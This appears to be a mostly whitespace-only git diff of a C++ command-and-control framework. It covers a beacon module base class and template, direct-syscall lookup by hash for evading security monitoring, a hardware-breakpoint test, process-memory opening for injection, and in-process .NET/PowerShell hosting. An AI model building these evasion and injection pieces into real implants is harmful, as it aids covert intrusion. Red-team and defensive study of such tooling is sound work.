||||
|
||||
|
||||
public:
|
||||
ModuleCmd(const std::string& name, unsigned long long hash=0)
|
||||
{
|
||||
m_name=name;
|
||||
m_hash=hash;
|
||||
}
|
||||
ModuleCmd(const std::string& name, unsigned long long hash=0)
|
||||
{
|
||||
m_name=name;
|
||||
m_hash=hash;
|
||||
}
|
||||
|
||||
~ModuleCmd()
|
||||
{
|
||||
~ModuleCmd()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
std::string getName()
|
||||
{
|
||||
return m_name;
|
||||
}
|
||||
std::string getName()
|
||||
{
|
||||
return m_name;
|
||||
}
|
||||
|
||||
unsigned long long getHash()
|
||||
{
|
||||
return m_hash;
|
||||
}
|
||||
unsigned long long getHash()
|
||||
{
|
||||
return m_hash;
|
||||
}
|
||||
|
||||
int setDirectories( const std::string& teamServerModulesDirectoryPath,
|
||||
const std::string& linuxModulesDirectoryPath,
|
||||
const std::string& windowsModulesDirectoryPath,
|
||||
const std::string& linuxBeaconsDirectoryPath,
|
||||
const std::string& windowsBeaconsDirectoryPath,
|
||||
const std::string& toolsDirectoryPath,
|
||||
const std::string& scriptsDirectoryPath)
|
||||
{
|
||||
m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath;
|
||||
m_linuxModulesDirectoryPath=linuxModulesDirectoryPath;
|
||||
m_windowsModulesDirectoryPath=windowsModulesDirectoryPath;
|
||||
m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath;
|
||||
m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath;
|
||||
m_toolsDirectoryPath=toolsDirectoryPath;
|
||||
m_scriptsDirectoryPath=scriptsDirectoryPath;
|
||||
int setDirectories( const std::string& teamServerModulesDirectoryPath,
|
||||
const std::string& linuxModulesDirectoryPath,
|
||||
const std::string& windowsModulesDirectoryPath,
|
||||
const std::string& linuxBeaconsDirectoryPath,
|
||||
const std::string& windowsBeaconsDirectoryPath,
|
||||
const std::string& toolsDirectoryPath,
|
||||
const std::string& scriptsDirectoryPath)
|
||||
{
|
||||
m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath;
|
||||
m_linuxModulesDirectoryPath=linuxModulesDirectoryPath;
|
||||
m_windowsModulesDirectoryPath=windowsModulesDirectoryPath;
|
||||
m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath;
|
||||
m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath;
|
||||
m_toolsDirectoryPath=toolsDirectoryPath;
|
||||
m_scriptsDirectoryPath=scriptsDirectoryPath;
|
||||
|
||||
return 0;
|
||||
};
|
||||
return 0;
|
||||
};
|
||||
|
||||
virtual std::string getInfo() = 0;
|
||||
virtual std::string getInfo() = 0;
|
||||
|
||||
// if an error ocurre:
|
||||
// set_returnvalue(errorMsg) && return -1
|
||||
virtual int init(std::vector<std::string>& splitedCmd, C2Message& c2Message) = 0;
|
||||
virtual int initConfig(const nlohmann::json &config) {return 0;};
|
||||
virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0;
|
||||
virtual int followUp(const C2Message &c2RetMessage) {return 0;};
|
||||
virtual int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) {return 0;};
|
||||
virtual int recurringExec (C2Message& c2RetMessage) {return 0;};
|
||||
virtual int osCompatibility () {return OS_NONE;};
|
||||
// if an error ocurre:
|
||||
// set_returnvalue(errorMsg) && return -1
|
||||
virtual int init(std::vector<std::string>& splitedCmd, C2Message& c2Message) = 0;
|
||||
virtual int initConfig(const nlohmann::json &config) {return 0;};
|
||||
virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0;
|
||||
virtual int followUp(const C2Message &c2RetMessage) {return 0;};
|
||||
virtual int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) {return 0;};
|
||||
virtual int recurringExec (C2Message& c2RetMessage) {return 0;};
|
||||
virtual int osCompatibility () {return OS_NONE;};
|
||||
|
||||
protected:
|
||||
std::string m_name;
|
||||
unsigned long long m_hash;
|
||||
std::string m_name;
|
||||
unsigned long long m_hash;
|
||||
|
||||
std::string m_teamServerModulesDirectoryPath;
|
||||
std::string m_teamServerModulesDirectoryPath;
|
||||
std::string m_linuxModulesDirectoryPath;
|
||||
std::string m_windowsModulesDirectoryPath;
|
||||
std::string m_linuxBeaconsDirectoryPath;
|
||||
@@ -92,5 +92,5 @@ protected:
|
||||
std::string m_scriptsDirectoryPath;
|
||||
|
||||
private:
|
||||
|
||||
|
||||
};
|
||||
|
||||
+545
-545
File diff suppressed because it is too large
Load Diff
@@ -7,91 +7,91 @@
|
||||
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
typedef struct _SW3_PEB_LDR_DATA {
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _SW3_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PSW3_PEB_LDR_DATA Ldr;
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PSW3_PEB_LDR_DATA Ldr;
|
||||
} SW3_PEB, *PSW3_PEB;
|
||||
|
||||
typedef struct _PS_ATTRIBUTE
|
||||
{
|
||||
ULONG Attribute;
|
||||
SIZE_T Size;
|
||||
union
|
||||
{
|
||||
ULONG Value;
|
||||
PVOID ValuePtr;
|
||||
} u1;
|
||||
PSIZE_T ReturnLength;
|
||||
ULONG Attribute;
|
||||
SIZE_T Size;
|
||||
union
|
||||
{
|
||||
ULONG Value;
|
||||
PVOID ValuePtr;
|
||||
} u1;
|
||||
PSIZE_T ReturnLength;
|
||||
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
|
||||
|
||||
// typedef struct _UNICODE_STRING
|
||||
// {
|
||||
// USHORT Length;
|
||||
// USHORT MaximumLength;
|
||||
// PWSTR Buffer;
|
||||
// USHORT Length;
|
||||
// USHORT MaximumLength;
|
||||
// PWSTR Buffer;
|
||||
// } UNICODE_STRING, *PUNICODE_STRING;
|
||||
|
||||
// typedef struct _OBJECT_ATTRIBUTES
|
||||
// {
|
||||
// ULONG Length;
|
||||
// HANDLE RootDirectory;
|
||||
// PUNICODE_STRING ObjectName;
|
||||
// ULONG Attributes;
|
||||
// PVOID SecurityDescriptor;
|
||||
// PVOID SecurityQualityOfService;
|
||||
// ULONG Length;
|
||||
// HANDLE RootDirectory;
|
||||
// PUNICODE_STRING ObjectName;
|
||||
// ULONG Attributes;
|
||||
// PVOID SecurityDescriptor;
|
||||
// PVOID SecurityQualityOfService;
|
||||
// } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
|
||||
|
||||
// typedef struct _CLIENT_ID
|
||||
// {
|
||||
// HANDLE UniqueProcess;
|
||||
// HANDLE UniqueThread;
|
||||
// HANDLE UniqueProcess;
|
||||
// HANDLE UniqueThread;
|
||||
// } CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef struct _PS_ATTRIBUTE_LIST
|
||||
{
|
||||
SIZE_T TotalLength;
|
||||
PS_ATTRIBUTE Attributes[1];
|
||||
SIZE_T TotalLength;
|
||||
PS_ATTRIBUTE Attributes[1];
|
||||
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
|
||||
|
||||
typedef enum _MEMORY_INFORMATION_CLASS
|
||||
{
|
||||
MemoryBasicInformation,
|
||||
MemoryWorkingSetInformation,
|
||||
MemoryMappedFilenameInformation,
|
||||
MemoryRegionInformation,
|
||||
MemoryWorkingSetExInformation,
|
||||
MemorySharedCommitInformation,
|
||||
MemoryImageInformation,
|
||||
MemoryRegionInformationEx,
|
||||
MemoryPrivilegedBasicInformation,
|
||||
MemoryEnclaveImageInformation,
|
||||
MemoryBasicInformationCapped
|
||||
MemoryBasicInformation,
|
||||
MemoryWorkingSetInformation,
|
||||
MemoryMappedFilenameInformation,
|
||||
MemoryRegionInformation,
|
||||
MemoryWorkingSetExInformation,
|
||||
MemorySharedCommitInformation,
|
||||
MemoryImageInformation,
|
||||
MemoryRegionInformationEx,
|
||||
MemoryPrivilegedBasicInformation,
|
||||
MemoryEnclaveImageInformation,
|
||||
MemoryBasicInformationCapped
|
||||
} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS;
|
||||
|
||||
|
||||
#ifndef InitializeObjectAttributes
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
@@ -630,8 +630,8 @@ typedef struct _INVERTED_FUNCTION_TABLE_KERNEL_MODE
|
||||
|
||||
typedef enum _SECTION_INHERIT
|
||||
{
|
||||
ViewShare = 1,
|
||||
ViewUnmap = 2
|
||||
ViewShare = 1,
|
||||
ViewUnmap = 2
|
||||
} SECTION_INHERIT, *PSECTION_INHERIT;
|
||||
|
||||
|
||||
|
||||
@@ -1,57 +1,57 @@
|
||||
#include "syscall.hpp"
|
||||
|
||||
|
||||
DWORD GlobalHash = 0x0;
|
||||
|
||||
|
||||
EXTERN_C DWORD getGlobalHash()
|
||||
{
|
||||
return GlobalHash;
|
||||
}
|
||||
|
||||
|
||||
DWORD SW3_HashSyscall(const char *FunctionName)
|
||||
{
|
||||
DWORD Hash = 0x811C9DC5; // FNV offset basis
|
||||
DWORD FNV_prime = 0x01000193; // FNV prime
|
||||
|
||||
int c;
|
||||
while (c = *FunctionName++)
|
||||
{
|
||||
Hash ^= c; // XOR the byte into the lowest byte of the hash
|
||||
Hash *= FNV_prime; // Multiply by FNV prime
|
||||
}
|
||||
|
||||
return Hash & 0xFFFFFFFF; // Ensure the result is a 32-bit hash
|
||||
}
|
||||
|
||||
bool compareEntry(Entry i1, Entry i2)
|
||||
{
|
||||
return (i1.getAddress() < i2.getAddress());
|
||||
}
|
||||
|
||||
SyscallList* SyscallList::singleton_= nullptr;
|
||||
|
||||
|
||||
SyscallList *SyscallList::GetInstance()
|
||||
{
|
||||
if(singleton_==nullptr){
|
||||
singleton_ = new SyscallList();
|
||||
}
|
||||
return singleton_;
|
||||
}
|
||||
|
||||
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
SyscallList* singleton = SyscallList::GetInstance();
|
||||
return singleton->getSyscallNumber(FunctionHash);
|
||||
}
|
||||
|
||||
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
SyscallList* singleton = SyscallList::GetInstance();
|
||||
return singleton->getSyscallAddress(FunctionHash);
|
||||
}
|
||||
|
||||
#include "syscall.hpp"
|
||||
|
||||
|
||||
DWORD GlobalHash = 0x0;
|
||||
|
||||
|
||||
EXTERN_C DWORD getGlobalHash()
|
||||
{
|
||||
return GlobalHash;
|
||||
}
|
||||
|
||||
|
||||
DWORD SW3_HashSyscall(const char *FunctionName)
|
||||
{
|
||||
DWORD Hash = 0x811C9DC5; // FNV offset basis
|
||||
DWORD FNV_prime = 0x01000193; // FNV prime
|
||||
|
||||
int c;
|
||||
while (c = *FunctionName++)
|
||||
{
|
||||
Hash ^= c; // XOR the byte into the lowest byte of the hash
|
||||
Hash *= FNV_prime; // Multiply by FNV prime
|
||||
}
|
||||
|
||||
return Hash & 0xFFFFFFFF; // Ensure the result is a 32-bit hash
|
||||
}
|
||||
|
||||
bool compareEntry(Entry i1, Entry i2)
|
||||
{
|
||||
return (i1.getAddress() < i2.getAddress());
|
||||
}
|
||||
|
||||
SyscallList* SyscallList::singleton_= nullptr;
|
||||
|
||||
|
||||
SyscallList *SyscallList::GetInstance()
|
||||
{
|
||||
if(singleton_==nullptr){
|
||||
singleton_ = new SyscallList();
|
||||
}
|
||||
return singleton_;
|
||||
}
|
||||
|
||||
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
SyscallList* singleton = SyscallList::GetInstance();
|
||||
return singleton->getSyscallNumber(FunctionHash);
|
||||
}
|
||||
|
||||
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
SyscallList* singleton = SyscallList::GetInstance();
|
||||
return singleton->getSyscallAddress(FunctionHash);
|
||||
}
|
||||
|
||||
|
||||
+633
-633
File diff suppressed because it is too large
Load Diff
@@ -6,17 +6,17 @@
|
||||
|
||||
LONG WINAPI hanlderToTrigger(EXCEPTION_POINTERS * ExceptionInfo)
|
||||
{
|
||||
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
|
||||
{
|
||||
BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"Kernel32", TRUE, NULL), (PCHAR)"GetProcessVersion", 0);
|
||||
if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress)
|
||||
{
|
||||
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
|
||||
{
|
||||
BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"Kernel32", TRUE, NULL), (PCHAR)"GetProcessVersion", 0);
|
||||
if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress)
|
||||
{
|
||||
std::cout << "Hello from GetProcessVersion " << std::endl;
|
||||
ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer
|
||||
}
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer
|
||||
}
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
|
||||
@@ -29,7 +29,7 @@ int main()
|
||||
|
||||
int indexHWBP = 0;
|
||||
HANDLE bp;
|
||||
set_hwbp(GetCurrentThread(), baseAddress, hanlderToTrigger, indexHWBP, &bp);
|
||||
set_hwbp(GetCurrentThread(), baseAddress, hanlderToTrigger, indexHWBP, &bp);
|
||||
|
||||
std::cout << "bp " << bp << std::endl;
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -39,7 +39,7 @@ int main()
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
std::string destinationBuffer = "test";
|
||||
std::string payload = "test";
|
||||
@@ -98,7 +98,7 @@ int main()
|
||||
static OBJECT_ATTRIBUTES zoa = { sizeof(zoa) };
|
||||
CLIENT_ID pid;
|
||||
pid.UniqueProcess = (HANDLE)dwPid;
|
||||
pid.UniqueThread = 0;
|
||||
pid.UniqueThread = 0;
|
||||
status = Sw3NtOpenProcess_(&handle, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, &zoa, (CLIENT_ID*)&pid);
|
||||
if(status!=0)
|
||||
{
|
||||
|
||||
@@ -31,9 +31,9 @@ __attribute__((visibility("default"))) ModuleTemplate* ModuleTemplateConstructor
|
||||
|
||||
ModuleTemplate::ModuleTemplate()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -46,15 +46,15 @@ ModuleTemplate::~ModuleTemplate()
|
||||
|
||||
std::string ModuleTemplate::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "moduleTemplate:\n";
|
||||
info += "ModuleTemplate for easy developement of new modules\n";
|
||||
info += "This is the help that will be display when you do 'ModuleTemplate help' or when their is an error during the init methode\n";
|
||||
info += "exemple:\n";
|
||||
info += "- moduleTemplate args\n";
|
||||
info += "moduleTemplate:\n";
|
||||
info += "ModuleTemplate for easy developement of new modules\n";
|
||||
info += "This is the help that will be display when you do 'ModuleTemplate help' or when their is an error during the init methode\n";
|
||||
info += "exemple:\n";
|
||||
info += "- moduleTemplate args\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
|
||||
@@ -62,22 +62,22 @@ std::string ModuleTemplate::getInfo()
|
||||
int ModuleTemplate::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
|
||||
if (splitedCmd.size() >= 2 )
|
||||
{
|
||||
string args = "args from the splited command line";
|
||||
args = splitedCmd[1];
|
||||
if (splitedCmd.size() >= 2 )
|
||||
{
|
||||
string args = "args from the splited command line";
|
||||
args = splitedCmd[1];
|
||||
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_data(args);
|
||||
}
|
||||
else
|
||||
{
|
||||
// error message deiplay if something is wrong
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_data(args);
|
||||
}
|
||||
else
|
||||
{
|
||||
// error message deiplay if something is wrong
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -86,13 +86,13 @@ int ModuleTemplate::init(std::vector<std::string> &splitedCmd, C2Message &c2Mess
|
||||
int ModuleTemplate::followUp(const C2Message &c2RetMessage)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
|
||||
// check if there is an error
|
||||
if(c2RetMessage.errorCode()==-1)
|
||||
{
|
||||
std::string args = c2RetMessage.args();
|
||||
}
|
||||
// check if there is an error
|
||||
if(c2RetMessage.errorCode()==-1)
|
||||
{
|
||||
std::string args = c2RetMessage.args();
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -102,20 +102,20 @@ int ModuleTemplate::followUp(const C2Message &c2RetMessage)
|
||||
// Method that will be trigged beacon side, the main processing method
|
||||
int ModuleTemplate::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
|
||||
std::string data = c2Message.data();
|
||||
if( data == "arg1" )
|
||||
{
|
||||
std::string buffer = "return value that will be shown in the client";
|
||||
c2RetMessage.set_returnvalue(buffer);
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_CODE_1);
|
||||
}
|
||||
std::string data = c2Message.data();
|
||||
if( data == "arg1" )
|
||||
{
|
||||
std::string buffer = "return value that will be shown in the client";
|
||||
c2RetMessage.set_returnvalue(buffer);
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_CODE_1);
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -123,12 +123,12 @@ int ModuleTemplate::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
int ModuleTemplate::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==ERROR_CODE_1)
|
||||
errorMsg = "Failed: An error occured and that is the error message that will be display to the user";
|
||||
}
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==ERROR_CODE_1)
|
||||
errorMsg = "Failed: An error occured and that is the error message that will be display to the user";
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -7,17 +7,17 @@ class ModuleTemplate : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
ModuleTemplate();
|
||||
~ModuleTemplate();
|
||||
ModuleTemplate();
|
||||
~ModuleTemplate();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int followUp(const C2Message &c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int followUp(const C2Message &c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
|
||||
+319
-319
@@ -29,135 +29,135 @@ __declspec(dllexport) Powershell* PowershellConstructor()
|
||||
|
||||
|
||||
typedef HRESULT(WINAPI *funcCLRCreateInstance)(
|
||||
REFCLSID clsid,
|
||||
REFIID riid,
|
||||
LPVOID * ppInterface
|
||||
);
|
||||
REFCLSID clsid,
|
||||
REFIID riid,
|
||||
LPVOID * ppInterface
|
||||
);
|
||||
|
||||
typedef HRESULT (WINAPI *funcCorBindToRuntime)(
|
||||
LPCWSTR pwszVersion,
|
||||
LPCWSTR pwszBuildFlavor,
|
||||
REFCLSID rclsid,
|
||||
REFIID riid,
|
||||
LPVOID* ppv);
|
||||
LPCWSTR pwszVersion,
|
||||
LPCWSTR pwszBuildFlavor,
|
||||
REFCLSID rclsid,
|
||||
REFIID riid,
|
||||
LPVOID* ppv);
|
||||
|
||||
|
||||
bool createDotNetFourHost(HMODULE* hMscoree, const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost)
|
||||
{
|
||||
HRESULT hr = NULL;
|
||||
funcCLRCreateInstance pCLRCreateInstance = NULL;
|
||||
ICLRMetaHost *pMetaHost = NULL;
|
||||
ICLRRuntimeInfo *pRuntimeInfo = NULL;
|
||||
bool hostCreated = false;
|
||||
HRESULT hr = NULL;
|
||||
funcCLRCreateInstance pCLRCreateInstance = NULL;
|
||||
ICLRMetaHost *pMetaHost = NULL;
|
||||
ICLRRuntimeInfo *pRuntimeInfo = NULL;
|
||||
bool hostCreated = false;
|
||||
|
||||
pCLRCreateInstance = (funcCLRCreateInstance)GetProcAddress(*hMscoree, "CLRCreateInstance");
|
||||
if (pCLRCreateInstance == NULL)
|
||||
{
|
||||
// wprintf(L"Could not find .NET 4.0 API CLRCreateInstance");
|
||||
goto Cleanup;
|
||||
}
|
||||
pCLRCreateInstance = (funcCLRCreateInstance)GetProcAddress(*hMscoree, "CLRCreateInstance");
|
||||
if (pCLRCreateInstance == NULL)
|
||||
{
|
||||
// wprintf(L"Could not find .NET 4.0 API CLRCreateInstance");
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hr = pCLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// Potentially fails on .NET 2.0/3.5 machines with E_NOTIMPL
|
||||
// wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
hr = pCLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// Potentially fails on .NET 2.0/3.5 machines with E_NOTIMPL
|
||||
// wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
// Check if the specified runtime can be loaded into the process.
|
||||
BOOL loadable;
|
||||
hr = pRuntimeInfo->IsLoadable(&loadable);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
// Check if the specified runtime can be loaded into the process.
|
||||
BOOL loadable;
|
||||
hr = pRuntimeInfo->IsLoadable(&loadable);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
if (!loadable)
|
||||
{
|
||||
// wprintf(L".NET runtime v4.0.30319 cannot be loaded\n");
|
||||
goto Cleanup;
|
||||
}
|
||||
if (!loadable)
|
||||
{
|
||||
// wprintf(L".NET runtime v4.0.30319 cannot be loaded\n");
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
// Load the CLR into the current process and return a runtime interface
|
||||
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
// Load the CLR into the current process and return a runtime interface
|
||||
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hostCreated = true;
|
||||
hostCreated = true;
|
||||
|
||||
Cleanup:
|
||||
|
||||
if (pMetaHost)
|
||||
{
|
||||
pMetaHost->Release();
|
||||
pMetaHost = NULL;
|
||||
}
|
||||
if (pRuntimeInfo)
|
||||
{
|
||||
pRuntimeInfo->Release();
|
||||
pRuntimeInfo = NULL;
|
||||
}
|
||||
if (pMetaHost)
|
||||
{
|
||||
pMetaHost->Release();
|
||||
pMetaHost = NULL;
|
||||
}
|
||||
if (pRuntimeInfo)
|
||||
{
|
||||
pRuntimeInfo->Release();
|
||||
pRuntimeInfo = NULL;
|
||||
}
|
||||
|
||||
return hostCreated;
|
||||
return hostCreated;
|
||||
}
|
||||
|
||||
|
||||
HRESULT createDotNetTwoHost(HMODULE* hMscoree, const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost)
|
||||
{
|
||||
HRESULT hr = NULL;
|
||||
bool hostCreated = false;
|
||||
funcCorBindToRuntime pCorBindToRuntime = NULL;
|
||||
|
||||
pCorBindToRuntime = (funcCorBindToRuntime)GetProcAddress(*hMscoree, "CorBindToRuntime");
|
||||
if (!pCorBindToRuntime)
|
||||
{
|
||||
// wprintf(L"Could not find API CorBindToRuntime");
|
||||
return hostCreated;
|
||||
}
|
||||
HRESULT hr = NULL;
|
||||
bool hostCreated = false;
|
||||
funcCorBindToRuntime pCorBindToRuntime = NULL;
|
||||
|
||||
pCorBindToRuntime = (funcCorBindToRuntime)GetProcAddress(*hMscoree, "CorBindToRuntime");
|
||||
if (!pCorBindToRuntime)
|
||||
{
|
||||
// wprintf(L"Could not find API CorBindToRuntime");
|
||||
return hostCreated;
|
||||
}
|
||||
|
||||
hr = pCorBindToRuntime(version, L"wks", CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// wprintf(L"CorBindToRuntime failed w/hr 0x%08lx\n", hr);
|
||||
return hostCreated;
|
||||
}
|
||||
hr = pCorBindToRuntime(version, L"wks", CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// wprintf(L"CorBindToRuntime failed w/hr 0x%08lx\n", hr);
|
||||
return hostCreated;
|
